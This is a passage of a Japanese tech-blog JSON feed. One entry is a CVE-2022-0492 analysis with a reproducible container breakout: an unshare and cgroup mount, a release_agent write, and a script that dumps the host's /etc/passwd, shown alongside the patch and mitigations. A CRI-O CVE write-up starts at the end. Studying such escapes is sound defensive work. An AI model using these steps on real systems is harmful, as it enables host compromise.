株式会社スリーシェイク.","link":"https://sreake.com/blog/learn-about-cert-manager/","isoDate":"2022-05-10T01:03:04.000Z","dateMiliSeconds":1652144584000,"authorName":"Sreake","authorId":"Sreake"},{"title":"GCR に push するときの権限周りの注意点","contentSnippet":"説明すること GCR での権限エラーの概要 GCS のバケットレベルについて GCR でのイメージの保存方法について GCR での権限エラーの概要 起きたこと あるアプリチームは GCR にイメージを push できるの […]The post GCR に push するときの権限周りの注意点 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcr-push/","isoDate":"2022-05-10T01:02:05.000Z","dateMiliSeconds":1652144525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"AWSリソースの自動起動停止について","contentSnippet":"考えたこと拡張性自動起動停止したいサーバーは増えていくだろうし、状況に応じて設定を一時解除したりもしたい。そのため、起動停止の設定を簡単に追加削除できるのが望ましい。さまざまなリソースの起動停…","link":"https://qiita.com/ys1/items/b5ea8bff2729aa7b2bcf","isoDate":"2022-05-08T11:57:00.000Z","dateMiliSeconds":1652011020000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"golangで作るTLS1.3プロトコル","contentSnippet":"はじめに前回までの記事でTLS1.2プロトコルスタックを自作してみました。ただ皆さんご存知の通り、TLS1.2の脆弱性の対策やQUICなど新しいプロトコルへの対応を考慮して設計したTLS1.3が2018年にリリースされ普及が進んでいます。使用率ではまだTLS1.2が一般的ですが今後は1.3へと置き換えが進んでいくと、どこかの時点で逆転するのでしょう。そのときに慌てて学ぶよりも、今1.3も実装して学ぶことにします\uD83D\uDE0Aまぁ1.2作れたしイケるでしょう(死亡フラグ\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07)今回の実装方針です。crypto/tls は一切使わずTLS1.3のフルハンドシェイクをオレオレで実装する...","link":"https://zenn.dev/satoken/articles/golang-tls1_3","isoDate":"2022-05-06T13:25:32.000Z","dateMiliSeconds":1651843532000,"authorName":"satoken","authorId":"satoken"},{"title":"TerraformでECS FargateのBlue/Greenデプロイを構築する","contentSnippet":"概要TerraformでECS Fargateの環境を構築Codeシリーズを利用してBlue/Greenデプロイをできるようにする。Blue/Green時に必要な部分だけ記載Fargate …","link":"https://qiita.com/ys1/items/c6ee6a0d8474a7dfdd49","isoDate":"2022-05-05T04:30:15.000Z","dateMiliSeconds":1651725015000,"authorName":"Yusuke Sakurai","authorId":"ysakurai"},{"title":"【バグバウンティQ＆A】Intigritiはバグバウンティプログラムをどのように最適化しているか？","contentSnippet":"【Q&A】シリーズでは、バグバウンティプログラムに関するよくある質問について、弊社CEOのStijn Jansがお答えしています。今回は、「Intigritiはバグバウンティプログラムをどのように最適化しているか」についてご紹介します。The post 【バグバウンティQ＆A】Intigritiはバグバウンティプログラムをどのように最適化しているか？ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/how-does-intigriti-optimise-bug-bounty-success/","isoDate":"2022-04-28T01:55:08.000Z","dateMiliSeconds":1651110908000,"authorName":"Sreake","authorId":"Sreake"},{"title":"FargateにDatadog Agent導入してみた","contentSnippet":"Sreake事業部の槌田です。普段はSREとして設計、構築、監視まで業務をこなしています。最近、監視業務でDatadogを使うことが多くなってきて興味を持ち始めたので検証や知見を書いていく予定です！先日案件でECS on FargateにDatadog Agentを入れたのでインストール方法や知見を書いていきます。The post FargateにDatadog Agent導入してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog-agent/","isoDate":"2022-04-26T05:50:23.000Z","dateMiliSeconds":1650952223000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Datadog 101概要で紹介されているサービスのまとめ","contentSnippet":"Datadog 101 - 概要の動画で紹介されている機能について、著者なりの解釈で、キャプチャ画像とともにかいつまんでご紹介していきたいと思います。The post Datadog 101概要で紹介されているサービスのまとめ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog101/","isoDate":"2022-04-26T05:50:18.000Z","dateMiliSeconds":1650952218000,"authorName":"Sreake","authorId":"Sreake"},{"title":"golangで作るTLS1.2プロトコル(ECDHE&クライアント認証編)","contentSnippet":"はじめに前回TLS1.2プロトコルスタックを自作してみましたが、実装が及んでない部分がありました。1つは鍵交換がRSAだけになっているのともう1つはクライアント認証に対応していないところです。RSAではその仕組み上セキュリティ的に脆弱な点がありますし、サーバからクライアント認証を求められたら対応できませんので機能追加を行います。まずはECDHE鍵交換の対応から行います。 ECHDE鍵交換前回の記事でも書きましたがRSAでは毎回同じ公開鍵でpremaster secretを暗号化するため、秘密鍵が一旦漏れてしまうとそれまでの通信が全て復号される可能性があります。このRS...","link":"https://zenn.dev/satoken/articles/golang-tls1_2_2","isoDate":"2022-04-22T02:03:50.000Z","dateMiliSeconds":1650593030000,"authorName":"satoken","authorId":"satoken"},{"title":"Google Cloud PCA について","contentSnippet":"試験概要 どんな試験？ Professional Cloud Architect 認定資格 | Google Cloud Professional Cloud Architect は、Google Cloud の技術を組 […]The post Google Cloud PCA について first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-pca-%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6/","isoDate":"2022-04-20T00:02:02.000Z","dateMiliSeconds":1650412922000,"authorName":"Sreake","authorId":"Sreake"},{"title":"zennの執筆環境向けdevcontainerを作成した話","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るTLS1.2プロトコル","contentSnippet":"はじめに前回自作でTCPIP+HTTPを実装して動作を確認することができました。しかしご覧頂いた方はおわかりのように、通信はHTTP=平文でやり取りされておりパスワードなど機密情報が用意に見れてしまう状態です。普段我々がブラウザに安心してパスワードを入力しているのは通信がTLSで暗号化されているからです。ではそのTLSの仕組みはどうなっているのでしょう？恥ずかしい限りですが僕はわかりません。\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07ということで以下を読みながらTLSプロトコルを自作してみてその仕組みを学ぶことにします。マスタリングTCP/IP情報セキュリティ編RFC5246プロフェッショナルSSL/T...","link":"https://zenn.dev/satoken/articles/golang-tls1_2","isoDate":"2022-04-16T03:22:38.000Z","dateMiliSeconds":1650079358000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"吉祥寺.pm29で久しぶりにLTしてきました #kichijojipm","contentSnippet":"kichijojipm.connpass.com久しぶりにLTしてきました。久しぶりに外で発表したいなと思いつつ、だいぶブランクあるのでちょうどいいリハビリできるところがないかな。— masasuzu (@masasuz) 2022年4月9日 こんなこと考えてたら良いタイミングできちぴーが開催されるので、LT申し込んでみました。#kichijojipm 7年ぶりにLTしたので緊張した。というのと、前回の発表調べて7年前もきちぴーあったのかという驚きもあった。— masasuzu (@masasuz) 2022年4月12日 どうやら7年ぶりだったみたいです。タイミング的に最終出社日の翌日だったので、キャリアの話をしました。diary.masasuzu.net正直、LTにおさまる量じゃなかったのは反省点です。資料ももうちょっとなんとかできたかなあという気持ちがあります。少しずつ登壇回数増やして、勘を取り戻していきたいところ。","link":"https://blog.masasuzu.net/entry/2022/04/15/202342","isoDate":"2022-04-15T11:23:42.000Z","dateMiliSeconds":1650021822000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"CVE-2022-0492 調査まとめ","contentSnippet":"cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。イベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。 speakerdeck.comCVE-2022-0492 概要release_agent についてエクスプロイト前提条件要点検証修正パッチコンテナセキュリティseccompAppArmor (SELinux)Kubernetes の場合EKS, GKE の場合さいごに参考リンクCVE-2022-0492LinuxコンテナセキュリティCVE-2022-0492 概要CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。release_agent についてcgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。# ls /sys/fs/cgroup/blkio cpu,cpuacct cpuset freezer memory net_cls net_prio pids systemdcpu cpuacct devices hugetlb misc net_cls,net_prio perf_event rdma unifiedrelease_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。cgroup のディレクトリ構成pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。# ls /sys/fs/cgroup/pids/cgroup.clone_children cgroup.sane_behavior docker notify_on_release system.slice user.slicecgroup.procs default init.scope release_agent tasks# cat /sys/fs/cgroup/pids/release_agent ← 空のファイル# cat /sys/fs/cgroup/pids/notify_on_release 0ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。エクスプロイト前提条件本脆弱性は次の条件を全て満たす場合に影響があります。root ユーザーまたは、no_new_privsフラグなしでコンテナを起動しているseccomp, AppArmor/SELinux がいずれも有効でないホストの非特権ユーザー名前空間が有効（ubuntu ではデフォルトの設定です）各設定の確認方法↓# cat /proc/sys/kernel/unprivileged_userns_clone ← 非特権ユーザ名前空間1# cat /proc/self/status | grep Seccomp ← seccompSeccomp: 0Seccomp_filters: 0# cat /proc/self/attr/current ← AppArmordocker-default (enforce)要点コンテナから cgroups の release_agent に書き込みたいrdma サブシステムは root cgroup に所属しているが、readonly でマウントされているcgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られるcgroup, mount ns も同時に作成することで cgroup をマウント可能にrdma cgroup をマウント すると release_agent に書き込み可能cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行検証脆弱な Kernel バージョンで CVE-2022-0492 を検証します。インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。# uname -aLinux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashdocker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。root@ab988587a245:/# cat /proc/self/cgroup13:misc:/12:rdma:/ ← rdma サブシステムは root cgroup11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a0::/system.slice/containerd.serviceこれで rdma サブシステムが root cgroup に所属していることがわかりました。root@ab988587a245:/# mount | grep \'cgroup (ro\'cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← readonly でマウントされているcgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/total 0-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.clone_children-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.procs-r--r--r-- 1 root root 0 Mar 15 01:40 cgroup.sane_behavior-rw-r--r-- 1 root root 0 Mar 15 01:40 notify_on_release-rw-r--r-- 1 root root 0 Mar 29 16:01 release_agentdrwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice-rw-r--r-- 1 root root 0 Mar 15 01:40 tasksroot@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system ← 書き込みエラーというわけで、cgroup を rw でマウントできれば良いことになります。ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。root@ab988587a245:/# apt update && apt install -y libcap2-binroot@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 00000000a80425fbroot@ab988587a245:/# capsh --decode=00000000a80425fb0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcaproot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mntmount: /mnt: permission denied. ← マウントエラーCAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。マウントさえできれば release_agent に書き込むことができます。root@ab988587a245:/# unshare -rmC bash ← user, mount, cgroup ns を作成root@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 000001ffffffffffroot@ab988587a245:/# capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40 ← CAP_SYS_ADMIN を持つroot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← rdma サブシステムをマウントroot@ab988587a245:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@ab988587a245:/# mount | grep \'cgroup (rw\'cgroup on /mnt type cgroup (rw,relatime,rdma)ここまでで、コンテナ内から release_agent に書き込めるようになりました。続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。root@ab988587a245:/# host_path=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab`root@ab988587a245:/# echo $host_path/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← upperdir のパスroot@ab988587a245:/# echo \\"$host_path/cmd\\" > /mnt/release_agentroot@ab988587a245:/# echo \'#!/bin/sh\' > /cmdroot@ab988587a245:/# echo \\"cat /etc/passwd > $host_path/output\\" >> /cmdroot@ab988587a245:/# chmod a+x /cmd最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。root@ab988587a245:/# mkdir /mnt/xx ← child cgroup を作成root@ab988587a245:/# ls /mnt/xx/cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasksroot@ab988587a245:/# echo 1 > /mnt/xx/notify_on_releaseroot@ab988587a245:/# sh -c \\"echo \\\\$\\\\$\\" > /mnt/xx/cgroup.procs ← すぐに終了するプロセスを child cgroup に追加root@ab988587a245:/# cat /output ← コンテナ内にホストの /etc/passwd が出力されているroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin...修正パッチhttps://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02afhttps://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7 static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp;+ struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);+ /*+ * Release agent gets called with all capabilities,+ * require capabilities to set release agent.+ */+ ctx = of->priv;+ if ((ctx->ns->user_ns != &init_user_ns) ||+ !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))+ return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false);修正後は上記検証手順での release_agent への書き込みはできません。これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。（厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています）# uname -r5.17.0-051700rc7-generic# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@a45e44c77da9:/# unshare -rmC bashroot@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mntroot@a45e44c77da9:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permittedただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。SELinux を設定する等の対策は必要です。コンテナセキュリティコンテナセキュリティと本脆弱性の関係について簡単に見ていきます。seccompseccomp はコンテナ内で実行できるシステムコールを制限します。システムコールをブロックするため、ns を作成する段階でエラーとなります。# docker run --rm -it --security-opt apparmor=unconfined ubuntu bashroot@fb3522b81478:/# cat /proc/self/status | grep SeccompSeccomp: 2Seccomp_filters: 1root@fb3522b81478:/# unshare -rmC bashunshare: unshare failed: Operation not permittedAppArmor (SELinux)ファイル操作、プログラム実行、capabilities 等を制限します。# docker run --rm -it --security-opt seccomp=unconfined ubuntu bashroot@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce)root@46912ffebb2c:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission deniedKubernetes の場合Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。さらに seccomp は Pod のマニフェストにも設定しなければなりません。また securityContext に適切な設定をすることも重要です。allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。EKS, GKE の場合EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@287fcd93a54f:/# cat /proc/self/cgroup 11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b010:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b09:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b08:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b07:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b06:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b05:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b04:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b03:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b02:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b01:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。(https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)$ k run ubuntu --image ubuntu -- sleep 3600pod/ubuntu created$ k exec -it ubuntu -- bashroot@ubuntu:/# cat /proc/self/attr/current cri-containerd.apparmor.d (enforce)root@ubuntu:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission denied以上のことから EKS, GKE では本脆弱性の影響はなさそうです。さいごに本脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。Linux の技術について包括的に学ぶのは（個人的には）難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。本記事が皆さんの学習の糧になれば幸いです。参考リンクCVE-2022-0492https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492https://nvd.nist.gov/vuln/detail/CVE-2022-0492Linuxhttps://lwn.net/Articles/679786/https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/https://linuxhint.com/install-linux-kernel-ubuntu/https://man7.org/linux/man-pages/man7/cgroups.7.htmlhttps://blog.tiqwab.com/2021/11/13/docker-and-cgroups.htmlhttps://en.wikipedia.org/wiki/Seccomphttps://en.wikipedia.org/wiki/Security-Enhanced_Linuxhttps://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.htmlコンテナセキュリティhttps://container-security.dev/security/breakout-to-host.htmlhttps://speakerdeck.com/mochizuki875/container-dev-securityhttps://speakerdeck.com/mochizuki875/container-seccomp","link":"https://kyohmizu.hatenablog.com/entry/2022/04/06/233150","isoDate":"2022-04-06T14:31:50.000Z","dateMiliSeconds":1649255510000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"[2022/04/01] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/qNk58ApYjdg 告知とかニュースっぽいもの Kubernetes Meetup Tokyoで登壇しましたhttps:/...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220401","isoDate":"2022-04-01T12:45:40.000Z","dateMiliSeconds":1648817140000,"authorName":"bells17","authorId":"bells17"},{"title":"CVE-2022-0811 調査まとめ","contentSnippet":"CRI-O の脆弱性 (CVE-2022-0811) について調べた内容をまとめました。脆弱性の詳細と、関連する CRI-O の実装や Linux の機能を紹介します。CVE-2022-0811 概要CRI-O についてCRI-O 概要pinns による pod へのカーネルパラメータ設定Coredumpエクスプロイト要点検証回避策修正パッチcommit1commit2containerd の場合さいごに参考リンクCVE-2022-0811 概要CVE-2022-0811 は CRI-O の任意コード実行・コンテナブレイクアウトの脆弱性で、報告した CrowdStrike 社は「cr8escape」と呼んでいます。CRI-O の v1.19 以降に影響があり、すでに修正バージョンがリリースされています。 (詳細は Security Advisory を参照)カーネルパラメータ設定の検証不備により、/proc/sys/kernel/core_pattern への書き込みが可能となっていました。これによりプロセスを異常終了させることでホストの root 権限で任意の操作を行えます。CRI-O についてCRI-O 概要https://github.com/cri-o/cri-oCRI-O は Kubernetes に最適化された軽量な高レベルコンテナランタイムです。CLI ツールは crictl (https://github.com/kubernetes-sigs/cri-tools) を使用します。# cat container-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu\\" }, \\"image\\":{ \\"image\\": \\"ubuntu\\" }, \\"command\\": [ \\"sleep\\", \\"3600\\" ], \\"log_path\\":\\"ubuntu.0.log\\", \\"linux\\": { }}# cat pod-config.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"hdishd83fjaiarawuwk28bcsb\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { }}# crictl runp pod-config.json ← pod の起動b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc# crictl create b69761649f8f655416d5cba64260298a5e462a6cb108ec54d3ae89c578510edc container-config.json pod-config.json ← コンテナ作成2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl start 2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7 ← コンテナ起動2ce8010c047dfdf9f16aa127b701fbeda32a1e46c4efcd383f9a20484e07aef7# crictl podsPOD ID CREATED STATE NAME NAMESPACE ATTEMPT RUNTIMEb69761649f8f6 42 seconds ago Ready ubuntu-sandbox default 1 (default)# crictl psCONTAINER IMAGE CREATED STATE NAME ATTEMPT POD ID2ce8010c047df ubuntu 19 seconds ago Running ubuntu 0 b69761649f8f6pinns による pod へのカーネルパラメータ設定CRI-O は pinns utility を使用することで、pod 起動時にカーネルパラメータ (sysctls) を設定できます。first commit)設定には -s オプションを使用し、key=value の形式で複数のカーネルパラメータを連結して渡すことができます。pinns -s kernel_parameter1=value1+kernel_parameter2=value2設定可能な sysctls は以下の実装で制限されています。https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.govar prefixNamespaces = map[string]Namespace{ \\"kernel.shm\\": IpcNamespace, \\"kernel.msg\\": IpcNamespace, \\"fs.mqueue.\\": IpcNamespace, \\"net.\\": NetNamespace,}// Validate checks that a sysctl is whitelisted because it is known to be// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used// to forbid sysctls for pod sharing the respective namespaces with the host.// This check is only used on sysctls defined by the user in the crio.conf// file.func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := \\"%q not allowed with host %s enabled\\" if ns, found := 